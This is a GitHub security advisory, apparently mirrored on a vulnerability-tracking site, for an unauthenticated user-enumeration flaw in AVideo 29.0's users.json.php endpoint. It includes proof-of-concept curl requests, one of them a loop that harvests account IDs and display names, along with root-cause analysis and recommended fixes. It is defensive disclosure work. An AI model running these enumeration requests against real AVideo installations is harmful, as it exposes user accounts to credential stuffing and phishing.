GHSA-6RVW-7P8V-MJFQ
Vulnerability from github – Published: 2026-05-05 22:02 – Updated: 2026-05-13 14:20Summary
objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.
Details
Root cause #1 — isCompany admin bypass
objects/users.json.php:13-53 (HEAD, v29.0):
$canAdminUsers = canAdminUsers(); // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
$user = User::getUserFromID($_REQUEST['users_id']); // path #2
...
} else if (empty($_REQUEST['user_groups_id'])) {
$isAdmin = null;
$isCompany = null;
$ignoreAdmin = canSearchUsers() ? true : false;
...
if (isset($_REQUEST['isCompany'])) { // line 39
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
if (User::isACompany()) { $isCompany = 0; }
else { $isCompany = 1; }
$ignoreAdmin = true; // line 47 — bypass flag
}
}
...
$users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
$total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}
User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.
The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:
public static function getAllUsers($ignoreAdmin = false, ...) {
if (!Permissions::canAdminUsers() && !$ignoreAdmin) { // $ignoreAdmin === true → guard skipped
_error_log('You are not admin and cannot list all users');
return false;
}
...
$sql = "SELECT * FROM users u WHERE 1=1 ...";
if (isset($isCompany)) {
if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
$sql .= " AND is_company = $isCompany ";
} else {
$sql .= " AND (is_company = 0 OR is_company IS NULL) ";
}
}
Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.
Root cause #2 — users_id single-record oracle
objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.
Why there is no blocking mitigation
- No router-level auth: the
.htaccessrewrite (.htaccess:317) maps/users.jsondirectly to this file. - No CSRF/origin gate: the file is explicitly listed in
objects/functionsSecurity.php:893under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design. - The output-filter block (
objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, andtotalis always echoed on line 97. rowCountis attacker-controlled with no upper bound (line 17-18 only sets a default of 10).
PoC
Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.
Path 1 — bulk listing via isCompany admin-check bypass
$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000¤t=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
{"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
"background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
{"id":"2","identification":"alice",...,"status":"a",...},
...
]}
The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.
Path 2 — sequential-ID existence / display-name oracle
$ for i in $(seq 1 10000); do
curl -s "http://target/objects/users.json.php?users_id=$i" \
| jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
done
1 1 admin a
1 2 alice a
0 null null null
1 4 bob i
...
total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).
Verification of the branch logic
// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = []; // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
$isACompany = !empty($_SESSION['user']['is_company']); // false
$isCompany = $isACompany ? 0 : 1;
$ignoreAdmin = true;
}
}
var_dump($isCompany, $ignoreAdmin); // int(1) bool(true) → admin guard SKIPPED
Impact
An unauthenticated remote attacker can:
- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.
No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.
Recommended Fix
-
Require authentication at the top of
objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } -
Remove the
isCompany-driven$ignoreAdmin = truebranch (users.json.php:41-48). It served no purpose that the explicitcanSearchUsers()check above does not already cover, and its only observable effect is the bypass described here. -
Gate the
users_idpath behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... } -
Consider clamping
$_REQUEST['rowCount']to a sane ceiling (e.g. 100) and removingobjects/users.json.phpfrom the CSRF-bypass list inobjects/functionsSecurity.php:893unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43881"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T22:02:35Z",
"nvd_published_at": "2026-05-11T22:22:12Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count.\n\n## Details\n\n### Root cause #1 \u2014 `isCompany` admin bypass\n\n`objects/users.json.php:13-53` (HEAD, v29.0):\n\n```php\n$canAdminUsers = canAdminUsers(); // line 13 \u2014 for output filtering only\n...\nif (!empty($_REQUEST[\u0027users_id\u0027])) {\n $user = User::getUserFromID($_REQUEST[\u0027users_id\u0027]); // path #2\n ...\n} else if (empty($_REQUEST[\u0027user_groups_id\u0027])) {\n $isAdmin = null;\n $isCompany = null;\n $ignoreAdmin = canSearchUsers() ? true : false;\n ...\n if (isset($_REQUEST[\u0027isCompany\u0027])) { // line 39\n $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n if (!$canAdminUsers) {\n if (User::isACompany()) { $isCompany = 0; }\n else { $isCompany = 1; }\n $ignoreAdmin = true; // line 47 \u2014 bypass flag\n }\n }\n ...\n $users = User::getAllUsers($ignoreAdmin, [...], @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n $total = User::getTotalUsers($ignoreAdmin, @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n}\n```\n\n`User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`.\n\nThe admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited:\n\n```php\npublic static function getAllUsers($ignoreAdmin = false, ...) {\n if (!Permissions::canAdminUsers() \u0026\u0026 !$ignoreAdmin) { // $ignoreAdmin === true \u2192 guard skipped\n _error_log(\u0027You are not admin and cannot list all users\u0027);\n return false;\n }\n ...\n $sql = \"SELECT * FROM users u WHERE 1=1 ...\";\n if (isset($isCompany)) {\n if (!empty($isCompany) \u0026\u0026 $isCompany == self::$is_company_status_ISACOMPANY || ...) {\n $sql .= \" AND is_company = $isCompany \";\n } else {\n $sql .= \" AND (is_company = 0 OR is_company IS NULL) \";\n }\n }\n```\n\nNote: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP\u0027s operator precedence (`!empty($isCompany) \u0026\u0026 ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` \u2014 i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`.\n\n### Root cause #2 \u2014 `users_id` single-record oracle\n\n`objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST[\u0027users_id\u0027])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise \u2014 a perfect sequential-ID existence oracle.\n\n### Why there is no blocking mitigation\n\n- No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file.\n- No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under \u201cRead-only endpoints that accept POST params\u201d, meaning the same-origin/CSRF middleware is skipped by design.\n- The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed \u2014 it does not suppress existence or display-name leakage, and `total` is always echoed on line 97.\n- `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).\n\n## PoC\n\nTarget: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required.\n\n### Path 1 \u2014 bulk listing via `isCompany` admin-check bypass\n\n```\n$ curl -s \u0027http://target/objects/users.json.php?isCompany=0\u0026rowCount=1000\u0026current=1\u0027\n{\"current\":1,\"rowCount\":1000,\"total\":42,\"rows\":[\n {\"id\":\"1\",\"identification\":\"admin\",\"photo\":\"https://target/videos/userPhoto/photo1.png\",\n \"background\":\"https://target/...\",\"status\":\"a\",\"creator\":\"\u003cdiv ...channel URL...\u003e\"},\n {\"id\":\"2\",\"identification\":\"alice\",...,\"status\":\"a\",...},\n ...\n]}\n```\n\nThe same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`.\n\n### Path 2 \u2014 sequential-ID existence / display-name oracle\n\n```\n$ for i in $(seq 1 10000); do\n curl -s \"http://target/objects/users.json.php?users_id=$i\" \\\n | jq -r \u0027[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv\u0027\n done\n1\t1\tadmin\ta\n1\t2\talice\ta\n0\tnull\tnull\tnull\n1\t4\tbob\ti\n...\n```\n\n`total=1` \u2192 ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`).\n\n### Verification of the branch logic\n\n```php\n// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.\n$canAdminUsers = false; $ignoreAdmin = false;\n$_SESSION = []; // unauthenticated\n$_REQUEST = [\u0027isCompany\u0027 =\u003e \u00271\u0027];\nif (isset($_REQUEST[\u0027isCompany\u0027])) {\n $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n if (!$canAdminUsers) {\n $isACompany = !empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027]); // false\n $isCompany = $isACompany ? 0 : 1;\n $ignoreAdmin = true;\n }\n}\nvar_dump($isCompany, $ignoreAdmin); // int(1) bool(true) \u2192 admin guard SKIPPED\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).\n- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.\n- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo\u2019s login/password-recovery endpoints.\n- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.\n\nNo auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request.\n\n## Recommended Fix\n\n1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search:\n\n ```php\n require_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\n User::loginCheck(); // reject anonymous callers\n if (!canSearchUsers()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(\u0027{\"error\":\"forbidden\"}\u0027);\n }\n ```\n\n2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here.\n\n3. Gate the `users_id` path behind the same check, or restrict its output to the caller\u2019s own record when the caller is not an admin:\n\n ```php\n if (!empty($_REQUEST[\u0027users_id\u0027])) {\n $requestedId = intval($_REQUEST[\u0027users_id\u0027]);\n if (!canSearchUsers() \u0026\u0026 $requestedId !== User::getId()) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(\u0027{\"error\":\"forbidden\"}\u0027);\n }\n $user = User::getUserFromID($requestedId);\n ...\n }\n ```\n\n4. Consider clamping `$_REQUEST[\u0027rowCount\u0027]` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement \u2014 and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.",
"id": "GHSA-6rvw-7p8v-mjfq",
"modified": "2026-05-13T14:20:28Z",
"published": "2026-05-05T22:02:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rvw-7p8v-mjfq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43881"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.